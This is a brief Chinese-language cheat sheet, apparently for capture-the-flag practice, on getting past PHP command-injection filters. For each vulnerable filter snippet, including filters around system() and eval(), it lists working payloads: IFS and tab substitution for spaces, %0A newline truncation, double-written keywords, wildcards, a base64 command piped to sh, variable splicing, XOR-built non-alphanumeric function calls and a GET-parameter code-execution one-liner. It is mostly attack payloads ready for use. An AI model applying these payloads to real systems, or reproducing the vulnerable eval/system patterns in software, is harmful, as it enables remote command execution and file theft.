繞過空格
$_GET[str]=str_replace(" ","",$_GET[str]);
-
${IFS}但不能寫作$IFS -
$IFS$9 -
%09
繞過echo
system("echo \"$_GET[str]\";");
-
執行命令加上反引號``
cat /flag\ -
"雙引號閉合+|分割(或
&后台&&判讀均要轉碼)
繞過符號
$_GET[str]=str_replace(array( "`", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
- %0A 截斷
111"%0Acat %2fflag "
繞過關鍵字替換
$str=str_replace("flag","",$_GET[str]);
- 雙寫繞過
flflagag
繞過正則
preg_match("/flag/i",$str)
-
反斜杠換行
ca\t fla\g -
模糊匹配
cat /fl*cat /fla? -
base64
echo Y2F0IC9mbGFn|base64 -d|sh(Y2F0IC9mbGFn = cat /flag ,不能用) -
變量拼接
$a=%2ffl;$b=ag;cat $a$b;
繞過可見字符
if(preg_match("/[A-Za-z0-9_]+/",$code))
{die("NO.");}
@eval($code);
-
構造
getFlag的異或字符串code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_(); -
注入一句話
${_GET}[_](${_GET}[__]) -
如果下划線
_被禁用,使用大於等於%7F的字符
